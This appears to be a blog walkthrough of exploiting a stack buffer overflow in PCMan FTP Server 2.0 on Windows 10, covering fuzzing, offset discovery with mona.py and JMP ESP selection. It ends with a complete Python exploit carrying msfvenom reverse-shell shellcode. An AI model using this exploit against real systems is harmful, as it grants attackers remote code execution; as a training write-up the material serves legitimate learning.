Hacking Exposed: Exploiting a Classic Buffer Overflow for HedgeHogs

Understanding binary exploitation is one of the most important foundations in penetration testing. Classic buffer overflow vulnerabilities shaped the history of computing, and although modern systems now use stronger defenses like DEP and ASLR, these concepts remain essential for pentesters.
Hello HedgeHogs, This guide walks you through the theory, methodology, and mindset behind exploitation of traditional stack-based buffer overflows—using PCMan FTP Server 2.0
Requirements
Immunity Debugger
What Is a Buffer Overflow?
A buffer overflow happens when a program writes more data into a memory buffer than it was designed to hold, resulting in memory corruption and unexpected behavior.

How Overflows Occur
Overflow Happens
A buffer receives more input than its allocated size.Memory Gets Corrupted
Extra data spills into nearby memory regions.Program Behavior Changes
Critical values—such as return addresses—can be overwritten.
Anatomy Of The Stack
Stack Storage: Holds local variables, return addresses, and function calls in Last-In-First-Out order
Key Stack Concepts
Local variables → stored here
Saved return address → tells CPU where to go next
LIFO (Last In, First Out) → stack grows downward in memory
Exploitation
The first step is installation of the vulnerable Software, PC ManFTP Server 2.0, on a Windows system . For the lab, I’m using a windows 10 system.
PowerShell can be used to test the ftp port connection


Fuzzing the Target Software
Fuzzing is a software testing technique used to identify vulnerabilities and bugs in programs by inputting random, unexpected, or invalid data into the application. Fuzzing can help to uncover software vulnerabilities especially memory corruption bugs and is useful in binary exploitation.
Now let’s move to the first step of exploitation, initial python fuzzing script

The python script, connects to the ftp service and sends random characters of (A)’s to trigger a memory crash.

The program terminated, this can be confirmed with the Access violation when executing 41414141, because the EIP is overwritten our random buffer input sent to the program.
The 0×41414141 represents the character AAAA which is the input sent to the buffer. The PCManFtp program crash when large chunk of char is sent overwriting the EIP addresss with our input, this indicates a buffer overflow vulnerability.

— shows that 0×41414141 correlates to character AAAA
It’s important to determine how many bytes is sufficient to write to the EIP address. Rather than sending random A values will create custom sequences.
Identifying The Offset
The next move is to determine the exact offset, where buffer begins to overwrite structured memory regions. For this will need to use mona.py, copy the mona.py script to the installation directory of Immunity Debugger found within C:Program Files (x86)\Immunity Inc\Immunity Debugger. Copy the mona.py into the PyCommands folder, relaunch immunity debugger
🔧 Mona.py
mona is a powerful python plugin by corelean that helps in automating task related to binary exploitation
Generates cyclic patterns
Identifies offsets
Maps memory protections
Automates many tedious recon steps
Mona can be used to generate unique pattern of characters, that helps to pinpoint the exact offset.

The generated pattern can be dumped witihin the C:\Program Files\Immunity Inc\Immunity Debugger directory.

Then the 2100 byte sequence is written to a python script file, offset.py

Again, sending the buffered ASCII pattern to the PCManFTP service, and observing the program flow. The application crashes with an access violation at 0x41414141, confirms that the EIP has been overwritten by user input. The value 0x41 corresponds to the ASCII character A.

The EIP address after running python pattern.py points to 6F43386F which was overwritten from our pattern.
Utilizing mona.py to determine the exact offset in the buffer: !mona pattern 6F43386F

The exact offset position is displayed from the immunity debugger console, which is: 2005
Controlling the EIP
Taking control of the execution flow, requires carefully crafting the payload to align with the exact offset. As the application crash, this gives opportunity to redirect execution flow when the payload overwrites the saved return addresss.

Placing 2005 bytes of padding, the EIP register is overwritten with the value BBBB, in hex 42424242, confirming control of the instruction pointer.

This confirms the exact offset value to use for the buffer overflow exploitation as 2005
Intricacies in Exploitation
A critical intricacy in crafting exploit is identifying and removing bad characters, as even a single null byte \x00 or line terminators can break payload execution.
Additionally, locating a reliable JMP ESP instruction within a suitable module is essential , while modern Windows operating System employ protections techniques such as ASLR that randomize addresses at each execution.

— example code proof of concept exploit code for exploiting buffer overflow vulnerability.
`Nops`: the Nops instruction does nothing, it allows for proper aligning and execution of the shellcode
Finding a Redirect
JMP ESP is a low-level instruction that redirects program execution to the memory address currently pointed to by the stack pointer (ESP).

When JMP ESP is executed, it causes the program to jump to the memory address that ESP is pointing to, allowing to control the execution flow and redirect it to malicious code (like shellcode).
Next step is locating an instruction i.e jmp esp within an executable memory modules to redirect flow execution. This allows us to hijack execution and control the program execution

The mona command list all the windows modules and executables loaded in the context of our vulnerable program.

Finding the `jmp esp` address of the executable: 0×0043410D, modified the addr_of_jmp_esp in the exploit poc.

Searching for the byte sequence \xff\xe4 which corresponds to JMP ESP instruction.

— Python code confirms jmp esp instuction
Shellcode Construction
A Shellcode is a small assembly code designed or to execute a specific actions on target systems. Generating shellcode requires it to be free of unwanted chars (\x00,\x0a,\x0d) to prevent termination.
For generating reverse_tcp based shellcode i found a site that can be used for quickly generation of null-free shellcode for use during exploitation.
-- generates null free Linux -based (x86, x64) and windows (x86, x64) based shellcode.
Removing Bad Characters
Using the return address of jmp esp for exploitation 0×0043410D after generating and assempling the exploit code, exploitation failed due to presence of badchars in the jmp esp address.

— the address used contains badchars ceasing the exploit.

Using MsfVenom
Metasploit msfvenom can be used also for constructing reverse_tcp based shellcode.

-b option to avoid specific badchars "\x0d\x0a\x00\"
This should generate a null-free shellcode that connects remotely to the attacker machine.
several difficulties encountered as I had to find a suitable module, to satisfy this:
module permission should have EXECUTE i.e PAGE_EXECUTE_READ
should not contain bad chars
\x00\x0a\x0das addressGenerated shellcode should be free of: nullbyte chars, got stuck in this
Problem Solved
After several attempt with days trying to figure what was wrong and even tweaking shellcode. i was able to get a working exploit for windows 10. shell32.dll is a reliable windows dll handling windows shell operations and containing more instructions.

— This gives an address 0×7710d2ac where the eip address can be redirected to.
Exploitation
At this stage, combining the jmp esp address from shell32.dll module, with null-free shellcode.
Code:
import socket
import struct
ret_addr = struct.pack("<L", 0x7710D2AC) # jmp_esp instruction to eip addr 0x7710D2AC
# JMP ESP address to use 7710D2AC shell32.dll address
nops = "\x90" * 25
shellcode = b""
shellcode += b"\xbd\xb8\xa2\x28\x98\xd9\xee\xd9\x74\x24\xf4"
shellcode += b"\x58\x29\xc9\xb1\x52\x83\xc0\x04\x31\x68\x0e"
shellcode += b"\x03\xd0\xac\xca\x6d\xdc\x59\x88\x8e\x1c\x9a"
shellcode += b"\xed\x07\xf9\xab\x2d\x73\x8a\x9c\x9d\xf7\xde"
shellcode += b"\x10\x55\x55\xca\xa3\x1b\x72\xfd\x04\x91\xa4"
shellcode += b"\x30\x94\x8a\x95\x53\x16\xd1\xc9\xb3\x27\x1a"
shellcode += b"\x1c\xb2\x60\x47\xed\xe6\x39\x03\x40\x16\x4d"
shellcode += b"\x59\x59\x9d\x1d\x4f\xd9\x42\xd5\x6e\xc8\xd5"
shellcode += b"\x6d\x29\xca\xd4\xa2\x41\x43\xce\xa7\x6c\x1d"
shellcode += b"\x65\x13\x1a\x9c\xaf\x6d\xe3\x33\x8e\x41\x16"
shellcode += b"\x4d\xd7\x66\xc9\x38\x21\x95\x74\x3b\xf6\xe7"
shellcode += b"\xa2\xce\xec\x40\x20\x68\xc8\x71\xe5\xef\x9b"
shellcode += b"\x7e\x42\x7b\xc3\x62\x55\xa8\x78\x9e\xde\x4f"
shellcode += b"\xae\x16\xa4\x6b\x6a\x72\x7e\x15\x2b\xde\xd1"
shellcode += b"\x2a\x2b\x81\x8e\x8e\x20\x2c\xda\xa2\x6b\x39"
shellcode += b"\x2f\x8f\x93\xb9\x27\x98\xe0\x8b\xe8\x32\x6e"
shellcode += b"\xa0\x61\x9d\x69\xc7\x5b\x59\xe5\x36\x64\x9a"
shellcode += b"\x2c\xfd\x30\xca\x46\xd4\x38\x81\x96\xd9\xec"
shellcode += b"\x06\xc6\x75\x5f\xe7\xb6\x35\x0f\x8f\xdc\xb9"
shellcode += b"\x70\xaf\xdf\x13\x19\x5a\x1a\xf4\xe6\x33\x0f"
shellcode += b"\x71\x8f\x41\x4f\x78\xf4\xcf\xa9\x10\x1a\x86"
shellcode += b"\x62\x8d\x83\x83\xf8\x2c\x4b\x1e\x85\x6f\xc7"
shellcode += b"\xad\x7a\x21\x20\xdb\x68\xd6\xc0\x96\xd2\x71"
shellcode += b"\xde\x0c\x7a\x1d\x4d\xcb\x7a\x68\x6e\x44\x2d"
shellcode += b"\x3d\x40\x9d\xbb\xd3\xfb\x37\xd9\x29\x9d\x70"
shellcode += b"\x59\xf6\x5e\x7e\x60\x7b\xda\xa4\x72\x45\xe3"
shellcode += b"\xe0\x26\x19\xb2\xbe\x90\xdf\x6c\x71\x4a\xb6"
shellcode += b"\xc3\xdb\x1a\x4f\x28\xdc\x5c\x50\x65\xaa\x80"
shellcode += b"\xe1\xd0\xeb\xbf\xce\xb4\xfb\xb8\x32\x25\x03"
shellcode += b"\x13\xf7\x45\xe6\xb1\x02\xee\xbf\x50\xaf\x73"
shellcode += b"\x40\x8f\xec\x8d\xc3\x25\x8d\x69\xdb\x4c\x88"
shellcode += b"\x36\x5b\xbd\xe0\x27\x0e\xc1\x57\x47\x1b"
buffer = "A" * 2005 + ret_addr + nops + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.43.158', 21))
s.recv(1024)
s.send("USER " + "Anonymous")
s.recv(1024)
s.send("PASS pass ")
s.recv(1024)
s.send("PORT " + buffer)
s.recv(1024)
s.close()
This the final version of the exploit. Exploitation, requires a listener a trivial task on kali linux.


Voilà — a successful reverse shell connection is established.
Key insight
Reliability of exploitation can depend on the simplicity and size of the shellcode.
Large complex payloads can be unreliable due to limited and constrained program memory allocation.
Hey HedgeHogs, i hope you enjoyed this deep dive into classic buffer overflow exploitation
If you found this valuable, Feel free to subscribe, connect —more content will be update and posted soon. Please leave a comment below if you have any questions.
Remember: With great power comes great responsibility. responsibility. Use these skills ethically.
Happy hacking, and see you in the next writeup! 🔐


